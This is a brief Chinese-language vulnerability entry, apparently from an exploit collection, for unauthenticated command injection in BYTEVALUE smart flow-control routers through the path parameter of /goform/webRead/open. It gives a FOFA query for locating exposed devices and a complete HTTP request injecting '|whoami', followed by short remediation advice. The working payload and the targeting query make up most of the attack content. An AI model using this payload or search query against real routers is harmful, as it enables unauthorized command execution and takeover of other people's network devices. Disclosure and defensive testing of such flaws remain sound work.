B7-1百为-智能流控路由器-RCE

漏洞描述：

百为智能流控路由器 /goform/webRead/open 路由的 ?path 参数存在有回显的命令注入漏洞,未经身份认证的攻击者可以利用此漏洞执行任意指令，获取服务器权限。

网站图片：

网络测绘：

fofa语法：

FOFA：app="BYTEVALUE-智能流控路由器"

漏洞复现：

payload：

```
GET /goform/webRead/open/?path=|whoami HTTP/1.1
Host: your-ip
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
```

效果图:

修复建议：

目前官方已提供解决方案，请关注厂商主页更新：http://www.bytevalue.com/ 通过防火墙等安全设备设置访问策略，设置白名单访问。 如非必要，禁止公网访问该系统。